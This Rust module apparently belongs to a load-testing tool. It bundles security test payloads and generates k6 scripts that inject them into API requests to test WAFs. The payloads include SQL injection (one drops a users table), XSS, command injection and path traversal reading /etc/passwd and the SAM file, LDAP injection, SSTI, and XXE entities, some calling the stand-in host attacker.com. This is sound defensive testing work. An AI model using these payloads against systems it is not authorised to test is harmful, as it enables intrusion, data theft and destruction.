Skip to main content

mockforge_bench/
security_payloads.rs

1//! Security testing payloads for load testing
2//!
3//! This module provides built-in security testing payloads for common
4//! vulnerability categories including SQL injection, XSS, command injection,
5//! and path traversal.
6
7use crate::error::{BenchError, Result};
8use serde::{Deserialize, Serialize};
9use std::collections::HashSet;
10use std::path::Path;
11
12/// Escape a string for safe use in a JavaScript single-quoted string literal.
13/// Handles all problematic characters including:
14/// - Backslashes, single quotes, newlines, carriage returns
15/// - Backticks (template literals)
16/// - Unicode line/paragraph separators (U+2028, U+2029)
17/// - Null bytes and other control characters
18pub fn escape_js_string(s: &str) -> String {
19    let mut result = String::with_capacity(s.len() * 2);
20    for c in s.chars() {
21        match c {
22            '\\' => result.push_str("\\\\"),
23            '\'' => result.push_str("\\'"),
24            '"' => result.push_str("\\\""),
25            '`' => result.push_str("\\`"),
26            '\n' => result.push_str("\\n"),
27            '\r' => result.push_str("\\r"),
28            '\t' => result.push_str("\\t"),
29            '\0' => result.push_str("\\0"),
30            // Unicode line separator
31            '\u{2028}' => result.push_str("\\u2028"),
32            // Unicode paragraph separator
33            '\u{2029}' => result.push_str("\\u2029"),
34            // Other control characters (0x00-0x1F except already handled)
35            c if c.is_control() => {
36                result.push_str(&format!("\\u{:04x}", c as u32));
37            }
38            c => result.push(c),
39        }
40    }
41    result
42}
43
44/// Security payload categories
45#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
46#[serde(rename_all = "kebab-case")]
47pub enum SecurityCategory {
48    /// SQL Injection payloads
49    SqlInjection,
50    /// Cross-Site Scripting (XSS) payloads
51    Xss,
52    /// Command Injection payloads
53    CommandInjection,
54    /// Path Traversal payloads
55    PathTraversal,
56    /// Server-Side Template Injection
57    Ssti,
58    /// LDAP Injection
59    LdapInjection,
60    /// XML External Entity (XXE)
61    Xxe,
62}
63
64impl std::fmt::Display for SecurityCategory {
65    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
66        match self {
67            Self::SqlInjection => write!(f, "sqli"),
68            Self::Xss => write!(f, "xss"),
69            Self::CommandInjection => write!(f, "command-injection"),
70            Self::PathTraversal => write!(f, "path-traversal"),
71            Self::Ssti => write!(f, "ssti"),
72            Self::LdapInjection => write!(f, "ldap-injection"),
73            Self::Xxe => write!(f, "xxe"),
74        }
75    }
76}
77
78impl std::str::FromStr for SecurityCategory {
79    type Err = String;
80
81    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
82        match s.to_lowercase().replace('_', "-").as_str() {
83            "sqli" | "sql-injection" | "sqlinjection" => Ok(Self::SqlInjection),
84            "xss" | "cross-site-scripting" => Ok(Self::Xss),
85            "command-injection" | "commandinjection" | "cmd" => Ok(Self::CommandInjection),
86            "path-traversal" | "pathtraversal" | "lfi" => Ok(Self::PathTraversal),
87            "ssti" | "template-injection" => Ok(Self::Ssti),
88            "ldap-injection" | "ldapinjection" | "ldap" => Ok(Self::LdapInjection),
89            "xxe" | "xml-external-entity" => Ok(Self::Xxe),
90            _ => Err(format!("Unknown security category: '{}'", s)),
91        }
92    }
93}
94
95/// Where the payload should be injected
96#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, Default)]
97#[serde(rename_all = "kebab-case")]
98pub enum PayloadLocation {
99    /// Payload in URI/query string (default for generic payloads)
100    #[default]
101    Uri,
102    /// Payload in HTTP header
103    Header,
104    /// Payload in request body
105    Body,
106}
107
108impl std::fmt::Display for PayloadLocation {
109    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
110        match self {
111            Self::Uri => write!(f, "uri"),
112            Self::Header => write!(f, "header"),
113            Self::Body => write!(f, "body"),
114        }
115    }
116}
117
118/// A security testing payload
119#[derive(Debug, Clone, Serialize, Deserialize)]
120pub struct SecurityPayload {
121    /// The payload string to inject
122    pub payload: String,
123    /// Category of the payload
124    pub category: SecurityCategory,
125    /// Description of what this payload tests
126    pub description: String,
127    /// Whether this is considered a high-risk payload
128    pub high_risk: bool,
129    /// Where to inject the payload (uri, header, body)
130    #[serde(default)]
131    pub location: PayloadLocation,
132    /// Header name if location is Header (e.g., "User-Agent", "Cookie")
133    #[serde(skip_serializing_if = "Option::is_none")]
134    pub header_name: Option<String>,
135}
136
137impl SecurityPayload {
138    /// Create a new security payload
139    pub fn new(payload: String, category: SecurityCategory, description: String) -> Self {
140        Self {
141            payload,
142            category,
143            description,
144            high_risk: false,
145            location: PayloadLocation::Uri,
146            header_name: None,
147        }
148    }
149
150    /// Mark as high risk
151    pub fn high_risk(mut self) -> Self {
152        self.high_risk = true;
153        self
154    }
155
156    /// Set the injection location
157    pub fn with_location(mut self, location: PayloadLocation) -> Self {
158        self.location = location;
159        self
160    }
161
162    /// Set header name for header payloads
163    pub fn with_header_name(mut self, name: String) -> Self {
164        self.header_name = Some(name);
165        self
166    }
167}
168
169/// Configuration for security testing
170#[derive(Debug, Clone, Serialize, Deserialize)]
171pub struct SecurityTestConfig {
172    /// Whether security testing is enabled
173    pub enabled: bool,
174    /// Categories to test
175    pub categories: HashSet<SecurityCategory>,
176    /// Specific fields to target for injection
177    pub target_fields: Vec<String>,
178    /// Path to custom payloads file (extends built-in)
179    pub custom_payloads_file: Option<String>,
180    /// Whether to include high-risk payloads
181    pub include_high_risk: bool,
182}
183
184impl Default for SecurityTestConfig {
185    fn default() -> Self {
186        let mut categories = HashSet::new();
187        categories.insert(SecurityCategory::SqlInjection);
188        categories.insert(SecurityCategory::Xss);
189
190        Self {
191            enabled: false,
192            categories,
193            target_fields: Vec::new(),
194            custom_payloads_file: None,
195            include_high_risk: false,
196        }
197    }
198}
199
200impl SecurityTestConfig {
201    /// Enable security testing
202    pub fn enable(mut self) -> Self {
203        self.enabled = true;
204        self
205    }
206
207    /// Set categories to test
208    pub fn with_categories(mut self, categories: HashSet<SecurityCategory>) -> Self {
209        self.categories = categories;
210        self
211    }
212
213    /// Set target fields
214    pub fn with_target_fields(mut self, fields: Vec<String>) -> Self {
215        self.target_fields = fields;
216        self
217    }
218
219    /// Set custom payloads file
220    pub fn with_custom_payloads(mut self, path: String) -> Self {
221        self.custom_payloads_file = Some(path);
222        self
223    }
224
225    /// Enable high-risk payloads
226    pub fn with_high_risk(mut self) -> Self {
227        self.include_high_risk = true;
228        self
229    }
230
231    /// Parse categories from a comma-separated string
232    pub fn parse_categories(s: &str) -> std::result::Result<HashSet<SecurityCategory>, String> {
233        if s.is_empty() {
234            return Ok(HashSet::new());
235        }
236
237        s.split(',').map(|c| c.trim().parse::<SecurityCategory>()).collect()
238    }
239}
240
241/// Built-in security payloads
242pub struct SecurityPayloads;
243
244impl SecurityPayloads {
245    /// Get SQL injection payloads
246    pub fn sql_injection() -> Vec<SecurityPayload> {
247        vec![
248            SecurityPayload::new(
249                "' OR '1'='1".to_string(),
250                SecurityCategory::SqlInjection,
251                "Basic SQL injection tautology".to_string(),
252            ),
253            SecurityPayload::new(
254                "' OR '1'='1' --".to_string(),
255                SecurityCategory::SqlInjection,
256                "SQL injection with comment".to_string(),
257            ),
258            SecurityPayload::new(
259                "'; DROP TABLE users; --".to_string(),
260                SecurityCategory::SqlInjection,
261                "SQL injection table drop attempt".to_string(),
262            )
263            .high_risk(),
264            SecurityPayload::new(
265                "' UNION SELECT * FROM users --".to_string(),
266                SecurityCategory::SqlInjection,
267                "SQL injection union-based data extraction".to_string(),
268            ),
269            SecurityPayload::new(
270                "1' AND '1'='1".to_string(),
271                SecurityCategory::SqlInjection,
272                "SQL injection boolean-based blind".to_string(),
273            ),
274            SecurityPayload::new(
275                "1; WAITFOR DELAY '0:0:5' --".to_string(),
276                SecurityCategory::SqlInjection,
277                "SQL injection time-based blind (MSSQL)".to_string(),
278            ),
279            SecurityPayload::new(
280                "1' AND SLEEP(5) --".to_string(),
281                SecurityCategory::SqlInjection,
282                "SQL injection time-based blind (MySQL)".to_string(),
283            ),
284        ]
285    }
286
287    /// Get XSS payloads
288    pub fn xss() -> Vec<SecurityPayload> {
289        vec![
290            SecurityPayload::new(
291                "<script>alert('XSS')</script>".to_string(),
292                SecurityCategory::Xss,
293                "Basic script tag XSS".to_string(),
294            ),
295            SecurityPayload::new(
296                "<img src=x onerror=alert('XSS')>".to_string(),
297                SecurityCategory::Xss,
298                "Image tag XSS with onerror".to_string(),
299            ),
300            SecurityPayload::new(
301                "<svg/onload=alert('XSS')>".to_string(),
302                SecurityCategory::Xss,
303                "SVG tag XSS with onload".to_string(),
304            ),
305            SecurityPayload::new(
306                "javascript:alert('XSS')".to_string(),
307                SecurityCategory::Xss,
308                "JavaScript protocol XSS".to_string(),
309            ),
310            SecurityPayload::new(
311                "<body onload=alert('XSS')>".to_string(),
312                SecurityCategory::Xss,
313                "Body tag XSS with onload".to_string(),
314            ),
315            SecurityPayload::new(
316                "'><script>alert(String.fromCharCode(88,83,83))</script>".to_string(),
317                SecurityCategory::Xss,
318                "XSS with character encoding".to_string(),
319            ),
320            SecurityPayload::new(
321                "<div style=\"background:url(javascript:alert('XSS'))\">".to_string(),
322                SecurityCategory::Xss,
323                "CSS-based XSS".to_string(),
324            ),
325        ]
326    }
327
328    /// Get command injection payloads
329    pub fn command_injection() -> Vec<SecurityPayload> {
330        vec![
331            SecurityPayload::new(
332                "; ls -la".to_string(),
333                SecurityCategory::CommandInjection,
334                "Unix command injection with semicolon".to_string(),
335            ),
336            SecurityPayload::new(
337                "| cat /etc/passwd".to_string(),
338                SecurityCategory::CommandInjection,
339                "Unix command injection with pipe".to_string(),
340            )
341            .high_risk(),
342            SecurityPayload::new(
343                "$(cat /etc/passwd)".to_string(),
344                SecurityCategory::CommandInjection,
345                "Unix command substitution".to_string(),
346            )
347            .high_risk(),
348            SecurityPayload::new(
349                "`cat /etc/passwd`".to_string(),
350                SecurityCategory::CommandInjection,
351                "Unix backtick command execution".to_string(),
352            )
353            .high_risk(),
354            SecurityPayload::new(
355                "& dir".to_string(),
356                SecurityCategory::CommandInjection,
357                "Windows command injection".to_string(),
358            ),
359            SecurityPayload::new(
360                "|| ping -c 3 127.0.0.1".to_string(),
361                SecurityCategory::CommandInjection,
362                "Command injection with OR".to_string(),
363            ),
364            SecurityPayload::new(
365                "\n/bin/sh -c 'echo vulnerable'".to_string(),
366                SecurityCategory::CommandInjection,
367                "Newline-based command injection".to_string(),
368            ),
369        ]
370    }
371
372    /// Get path traversal payloads
373    pub fn path_traversal() -> Vec<SecurityPayload> {
374        vec![
375            SecurityPayload::new(
376                "../../../etc/passwd".to_string(),
377                SecurityCategory::PathTraversal,
378                "Basic path traversal".to_string(),
379            ),
380            SecurityPayload::new(
381                "..%2F..%2F..%2Fetc%2Fpasswd".to_string(),
382                SecurityCategory::PathTraversal,
383                "URL-encoded path traversal".to_string(),
384            ),
385            SecurityPayload::new(
386                "....//....//....//etc/passwd".to_string(),
387                SecurityCategory::PathTraversal,
388                "Double-dot path traversal bypass".to_string(),
389            ),
390            SecurityPayload::new(
391                "..%252f..%252f..%252fetc%252fpasswd".to_string(),
392                SecurityCategory::PathTraversal,
393                "Double URL-encoded path traversal".to_string(),
394            ),
395            SecurityPayload::new(
396                "/etc/passwd%00.jpg".to_string(),
397                SecurityCategory::PathTraversal,
398                "Null byte injection path traversal".to_string(),
399            ),
400            SecurityPayload::new(
401                "....\\....\\....\\windows\\system32\\config\\sam".to_string(),
402                SecurityCategory::PathTraversal,
403                "Windows path traversal".to_string(),
404            ),
405        ]
406    }
407
408    /// Get SSTI payloads
409    pub fn ssti() -> Vec<SecurityPayload> {
410        vec![
411            SecurityPayload::new(
412                "{{7*7}}".to_string(),
413                SecurityCategory::Ssti,
414                "Jinja2/Twig SSTI detection".to_string(),
415            ),
416            SecurityPayload::new(
417                "${7*7}".to_string(),
418                SecurityCategory::Ssti,
419                "Freemarker SSTI detection".to_string(),
420            ),
421            SecurityPayload::new(
422                "<%= 7*7 %>".to_string(),
423                SecurityCategory::Ssti,
424                "ERB SSTI detection".to_string(),
425            ),
426            SecurityPayload::new(
427                "#{7*7}".to_string(),
428                SecurityCategory::Ssti,
429                "Ruby SSTI detection".to_string(),
430            ),
431        ]
432    }
433
434    /// Get LDAP injection payloads
435    pub fn ldap_injection() -> Vec<SecurityPayload> {
436        vec![
437            SecurityPayload::new(
438                "*".to_string(),
439                SecurityCategory::LdapInjection,
440                "LDAP wildcard - match all".to_string(),
441            ),
442            SecurityPayload::new(
443                "*)(&".to_string(),
444                SecurityCategory::LdapInjection,
445                "LDAP filter injection - close and inject".to_string(),
446            ),
447            SecurityPayload::new(
448                "*)(uid=*))(|(uid=*".to_string(),
449                SecurityCategory::LdapInjection,
450                "LDAP OR injection to bypass auth".to_string(),
451            ),
452            SecurityPayload::new(
453                "admin)(&)".to_string(),
454                SecurityCategory::LdapInjection,
455                "LDAP always true injection".to_string(),
456            ),
457            SecurityPayload::new(
458                "x)(|(objectClass=*".to_string(),
459                SecurityCategory::LdapInjection,
460                "LDAP objectClass enumeration".to_string(),
461            ),
462            SecurityPayload::new(
463                "*)(cn=*".to_string(),
464                SecurityCategory::LdapInjection,
465                "LDAP CN attribute injection".to_string(),
466            ),
467            SecurityPayload::new(
468                "*)%00".to_string(),
469                SecurityCategory::LdapInjection,
470                "LDAP null byte injection".to_string(),
471            ),
472            SecurityPayload::new(
473                "*))%00".to_string(),
474                SecurityCategory::LdapInjection,
475                "LDAP double close with null byte".to_string(),
476            ),
477        ]
478    }
479
480    /// Get XXE (XML External Entity) payloads
481    pub fn xxe() -> Vec<SecurityPayload> {
482        vec![
483            SecurityPayload::new(
484                r#"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>"#.to_string(),
485                SecurityCategory::Xxe,
486                "Basic XXE - read /etc/passwd".to_string(),
487            ).high_risk(),
488            SecurityPayload::new(
489                r#"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]><foo>&xxe;</foo>"#.to_string(),
490                SecurityCategory::Xxe,
491                "Windows XXE - read win.ini".to_string(),
492            ).high_risk(),
493            SecurityPayload::new(
494                r#"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/xxe">]><foo>&xxe;</foo>"#.to_string(),
495                SecurityCategory::Xxe,
496                "XXE SSRF - external request".to_string(),
497            ).high_risk(),
498            SecurityPayload::new(
499                r#"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd">%xxe;]><foo>bar</foo>"#.to_string(),
500                SecurityCategory::Xxe,
501                "External DTD XXE".to_string(),
502            ).high_risk(),
503            SecurityPayload::new(
504                r#"<?xml version="1.0"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "expect://id">]><foo>&xxe;</foo>"#.to_string(),
505                SecurityCategory::Xxe,
506                "PHP expect XXE - command execution".to_string(),
507            ).high_risk(),
508            SecurityPayload::new(
509                r#"<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]><foo>&xxe;</foo>"#.to_string(),
510                SecurityCategory::Xxe,
511                "PHP filter XXE - base64 encoded read".to_string(),
512            ).high_risk(),
513            SecurityPayload::new(
514                r#"<!DOCTYPE foo [<!ENTITY % a "<!ENTITY &#37; b SYSTEM 'file:///etc/passwd'>">%a;%b;]>"#.to_string(),
515                SecurityCategory::Xxe,
516                "Parameter entity XXE".to_string(),
517            ).high_risk(),
518            SecurityPayload::new(
519                r#"<?xml version="1.0"?><!DOCTYPE foo SYSTEM "http://attacker.com/xxe.dtd"><foo>&xxe;</foo>"#.to_string(),
520                SecurityCategory::Xxe,
521                "External DTD reference".to_string(),
522            ).high_risk(),
523        ]
524    }
525
526    /// Get all payloads for a specific category
527    pub fn get_by_category(category: SecurityCategory) -> Vec<SecurityPayload> {
528        match category {
529            SecurityCategory::SqlInjection => Self::sql_injection(),
530            SecurityCategory::Xss => Self::xss(),
531            SecurityCategory::CommandInjection => Self::command_injection(),
532            SecurityCategory::PathTraversal => Self::path_traversal(),
533            SecurityCategory::Ssti => Self::ssti(),
534            SecurityCategory::LdapInjection => Self::ldap_injection(),
535            SecurityCategory::Xxe => Self::xxe(),
536        }
537    }
538
539    /// Get all payloads for configured categories
540    pub fn get_payloads(config: &SecurityTestConfig) -> Vec<SecurityPayload> {
541        let mut payloads: Vec<SecurityPayload> =
542            config.categories.iter().flat_map(|c| Self::get_by_category(*c)).collect();
543
544        // Filter out high-risk if not included
545        if !config.include_high_risk {
546            payloads.retain(|p| !p.high_risk);
547        }
548
549        payloads
550    }
551
552    /// Load custom payloads from a file
553    pub fn load_custom_payloads(path: &Path) -> Result<Vec<SecurityPayload>> {
554        let content = std::fs::read_to_string(path)
555            .map_err(|e| BenchError::Other(format!("Failed to read payloads file: {}", e)))?;
556
557        serde_json::from_str(&content)
558            .map_err(|e| BenchError::Other(format!("Failed to parse payloads file: {}", e)))
559    }
560}
561
562/// Generates k6 JavaScript code for security testing
563pub struct SecurityTestGenerator;
564
565impl SecurityTestGenerator {
566    /// Generate k6 code for security payload selection
567    /// When cycle_all is true, payloads are cycled through sequentially instead of randomly
568    pub fn generate_payload_selection(payloads: &[SecurityPayload], cycle_all: bool) -> String {
569        let mut code = String::new();
570
571        code.push_str("// Security testing payloads\n");
572        code.push_str(&format!("// Total payloads: {}\n", payloads.len()));
573        code.push_str("const securityPayloads = [\n");
574
575        for payload in payloads {
576            // Escape the payload for JavaScript string literal
577            let escaped = escape_js_string(&payload.payload);
578            let escaped_desc = escape_js_string(&payload.description);
579            let header_name = payload
580                .header_name
581                .as_ref()
582                .map(|h| format!("'{}'", escape_js_string(h)))
583                .unwrap_or_else(|| "null".to_string());
584
585            code.push_str(&format!(
586                "  {{ payload: '{}', category: '{}', description: '{}', location: '{}', headerName: {} }},\n",
587                escaped, payload.category, escaped_desc, payload.location, header_name
588            ));
589        }
590
591        code.push_str("];\n\n");
592
593        if cycle_all {
594            // Cycle through all payloads sequentially, but distribute starting points across VUs
595            // This ensures different VUs test different payloads, maximizing coverage
596            code.push_str("// Cycle through ALL payloads sequentially\n");
597            code.push_str("// Each VU starts at a different offset based on its VU number for better payload distribution\n");
598            code.push_str("let __payloadIndex = (__VU - 1) % securityPayloads.length;\n");
599            code.push_str("function getNextSecurityPayload() {\n");
600            code.push_str("  const payload = securityPayloads[__payloadIndex];\n");
601            code.push_str("  __payloadIndex = (__payloadIndex + 1) % securityPayloads.length;\n");
602            code.push_str("  return payload;\n");
603            code.push_str("}\n\n");
604        } else {
605            // Random selection (original behavior)
606            code.push_str("// Select random security payload\n");
607            code.push_str("function getNextSecurityPayload() {\n");
608            code.push_str(
609                "  return securityPayloads[Math.floor(Math.random() * securityPayloads.length)];\n",
610            );
611            code.push_str("}\n\n");
612        }
613
614        code
615    }
616
617    /// Generate k6 code for applying security payload to request
618    pub fn generate_apply_payload(target_fields: &[String]) -> String {
619        let mut code = String::new();
620
621        code.push_str("// Apply security payload to request body\n");
622        code.push_str("// For POST/PUT/PATCH requests, inject ALL payloads into body for effective WAF testing\n");
623        code.push_str("// Injects into ALL string fields to maximize WAF detection surface area\n");
624        code.push_str("function applySecurityPayload(payload, targetFields, secPayload) {\n");
625        code.push_str("  const result = { ...payload };\n");
626        code.push_str("  \n");
627
628        if target_fields.is_empty() {
629            code.push_str("  // No specific target fields - inject into ALL string fields for maximum coverage\n");
630            code.push_str(
631                "  // This ensures WAF can detect payloads regardless of which field it scans\n",
632            );
633            code.push_str("  for (const key of Object.keys(result)) {\n");
634            code.push_str("    if (typeof result[key] === 'string') {\n");
635            code.push_str("      result[key] = secPayload.payload;\n");
636            code.push_str("    }\n");
637            code.push_str("  }\n");
638        } else {
639            code.push_str("  // Inject into specified target fields\n");
640            code.push_str("  for (const field of targetFields) {\n");
641            code.push_str("    if (result.hasOwnProperty(field)) {\n");
642            code.push_str("      result[field] = secPayload.payload;\n");
643            code.push_str("    }\n");
644            code.push_str("  }\n");
645        }
646
647        code.push_str("  \n");
648        code.push_str("  return result;\n");
649        code.push_str("}\n");
650
651        code
652    }
653
654    /// Generate k6 code for security test checks
655    pub fn generate_security_checks() -> String {
656        r#"// Security test response checks
657function checkSecurityResponse(res, expectedVulnerable) {
658  // Check for common vulnerability indicators
659  const body = res.body || '';
660
661  const vulnerabilityIndicators = [
662    // SQL injection
663    'SQL syntax',
664    'mysql_fetch',
665    'ORA-',
666    'PostgreSQL',
667
668    // Command injection
669    'root:',
670    '/bin/',
671    'uid=',
672
673    // Path traversal
674    '[extensions]',
675    'passwd',
676
677    // XSS (reflected)
678    '<script>alert',
679    'onerror=',
680
681    // Error disclosure
682    'stack trace',
683    'Exception',
684    'Error in',
685  ];
686
687  const foundIndicator = vulnerabilityIndicators.some(ind =>
688    body.toLowerCase().includes(ind.toLowerCase())
689  );
690
691  if (foundIndicator) {
692    console.warn(`POTENTIAL VULNERABILITY: ${securityPayload.description}`);
693    console.warn(`Category: ${securityPayload.category}`);
694    console.warn(`Status: ${res.status}`);
695  }
696
697  return check(res, {
698    'security test: no obvious vulnerability': () => !foundIndicator,
699    'security test: proper error handling': (r) => r.status < 500,
700  });
701}
702"#
703        .to_string()
704    }
705}
706
707#[cfg(test)]
708mod tests {
709    use super::*;
710    use std::str::FromStr;
711
712    #[test]
713    fn test_security_category_display() {
714        assert_eq!(SecurityCategory::SqlInjection.to_string(), "sqli");
715        assert_eq!(SecurityCategory::Xss.to_string(), "xss");
716        assert_eq!(SecurityCategory::CommandInjection.to_string(), "command-injection");
717        assert_eq!(SecurityCategory::PathTraversal.to_string(), "path-traversal");
718    }
719
720    #[test]
721    fn test_security_category_from_str() {
722        assert_eq!(SecurityCategory::from_str("sqli").unwrap(), SecurityCategory::SqlInjection);
723        assert_eq!(
724            SecurityCategory::from_str("sql-injection").unwrap(),
725            SecurityCategory::SqlInjection
726        );
727        assert_eq!(SecurityCategory::from_str("xss").unwrap(), SecurityCategory::Xss);
728        assert_eq!(
729            SecurityCategory::from_str("command-injection").unwrap(),
730            SecurityCategory::CommandInjection
731        );
732    }
733
734    #[test]
735    fn test_security_category_from_str_invalid() {
736        assert!(SecurityCategory::from_str("invalid").is_err());
737    }
738
739    #[test]
740    fn test_security_test_config_default() {
741        let config = SecurityTestConfig::default();
742        assert!(!config.enabled);
743        assert!(config.categories.contains(&SecurityCategory::SqlInjection));
744        assert!(config.categories.contains(&SecurityCategory::Xss));
745        assert!(!config.include_high_risk);
746    }
747
748    #[test]
749    fn test_security_test_config_builders() {
750        let mut categories = HashSet::new();
751        categories.insert(SecurityCategory::CommandInjection);
752
753        let config = SecurityTestConfig::default()
754            .enable()
755            .with_categories(categories)
756            .with_target_fields(vec!["name".to_string()])
757            .with_high_risk();
758
759        assert!(config.enabled);
760        assert!(config.categories.contains(&SecurityCategory::CommandInjection));
761        assert!(!config.categories.contains(&SecurityCategory::SqlInjection));
762        assert_eq!(config.target_fields, vec!["name"]);
763        assert!(config.include_high_risk);
764    }
765
766    #[test]
767    fn test_parse_categories() {
768        let categories = SecurityTestConfig::parse_categories("sqli,xss,path-traversal").unwrap();
769        assert_eq!(categories.len(), 3);
770        assert!(categories.contains(&SecurityCategory::SqlInjection));
771        assert!(categories.contains(&SecurityCategory::Xss));
772        assert!(categories.contains(&SecurityCategory::PathTraversal));
773    }
774
775    #[test]
776    fn test_sql_injection_payloads() {
777        let payloads = SecurityPayloads::sql_injection();
778        assert!(!payloads.is_empty());
779        assert!(payloads.iter().all(|p| p.category == SecurityCategory::SqlInjection));
780        assert!(payloads.iter().any(|p| p.payload.contains("OR")));
781    }
782
783    #[test]
784    fn test_xss_payloads() {
785        let payloads = SecurityPayloads::xss();
786        assert!(!payloads.is_empty());
787        assert!(payloads.iter().all(|p| p.category == SecurityCategory::Xss));
788        assert!(payloads.iter().any(|p| p.payload.contains("<script>")));
789    }
790
791    #[test]
792    fn test_command_injection_payloads() {
793        let payloads = SecurityPayloads::command_injection();
794        assert!(!payloads.is_empty());
795        assert!(payloads.iter().all(|p| p.category == SecurityCategory::CommandInjection));
796    }
797
798    #[test]
799    fn test_path_traversal_payloads() {
800        let payloads = SecurityPayloads::path_traversal();
801        assert!(!payloads.is_empty());
802        assert!(payloads.iter().all(|p| p.category == SecurityCategory::PathTraversal));
803        assert!(payloads.iter().any(|p| p.payload.contains("..")));
804    }
805
806    #[test]
807    fn test_get_payloads_filters_high_risk() {
808        let config = SecurityTestConfig::default();
809        let payloads = SecurityPayloads::get_payloads(&config);
810
811        // Should not include high-risk payloads by default
812        assert!(payloads.iter().all(|p| !p.high_risk));
813    }
814
815    #[test]
816    fn test_get_payloads_includes_high_risk() {
817        let config = SecurityTestConfig::default().with_high_risk();
818        let payloads = SecurityPayloads::get_payloads(&config);
819
820        // Should include some high-risk payloads
821        assert!(payloads.iter().any(|p| p.high_risk));
822    }
823
824    #[test]
825    fn test_generate_payload_selection_random() {
826        let payloads = vec![SecurityPayload::new(
827            "' OR '1'='1".to_string(),
828            SecurityCategory::SqlInjection,
829            "Basic SQLi".to_string(),
830        )];
831
832        let code = SecurityTestGenerator::generate_payload_selection(&payloads, false);
833        assert!(code.contains("securityPayloads"));
834        assert!(code.contains("OR"));
835        assert!(code.contains("Math.random()"));
836        assert!(code.contains("getNextSecurityPayload"));
837    }
838
839    #[test]
840    fn test_generate_payload_selection_cycle_all() {
841        let payloads = vec![SecurityPayload::new(
842            "' OR '1'='1".to_string(),
843            SecurityCategory::SqlInjection,
844            "Basic SQLi".to_string(),
845        )];
846
847        let code = SecurityTestGenerator::generate_payload_selection(&payloads, true);
848        assert!(code.contains("securityPayloads"));
849        assert!(code.contains("Cycle through ALL payloads"));
850        assert!(code.contains("__payloadIndex"));
851        assert!(code.contains("getNextSecurityPayload"));
852        assert!(!code.contains("Math.random()"));
853        // Verify VU-based offset for better payload distribution across VUs
854        assert!(
855            code.contains("(__VU - 1) % securityPayloads.length"),
856            "Should use VU-based offset for payload distribution"
857        );
858    }
859
860    #[test]
861    fn test_generate_apply_payload_no_targets() {
862        let code = SecurityTestGenerator::generate_apply_payload(&[]);
863        assert!(code.contains("applySecurityPayload"));
864        assert!(code.contains("ALL string fields"));
865    }
866
867    #[test]
868    fn test_generate_apply_payload_with_targets() {
869        let code = SecurityTestGenerator::generate_apply_payload(&["name".to_string()]);
870        assert!(code.contains("applySecurityPayload"));
871        assert!(code.contains("target fields"));
872    }
873
874    #[test]
875    fn test_generate_security_checks() {
876        let code = SecurityTestGenerator::generate_security_checks();
877        assert!(code.contains("checkSecurityResponse"));
878        assert!(code.contains("vulnerabilityIndicators"));
879        assert!(code.contains("POTENTIAL VULNERABILITY"));
880    }
881
882    #[test]
883    fn test_payload_escaping() {
884        let payloads = vec![SecurityPayload::new(
885            "'; DROP TABLE users; --".to_string(),
886            SecurityCategory::SqlInjection,
887            "Drop table".to_string(),
888        )];
889
890        let code = SecurityTestGenerator::generate_payload_selection(&payloads, false);
891        // Single quotes should be escaped
892        assert!(code.contains("\\'"));
893    }
894}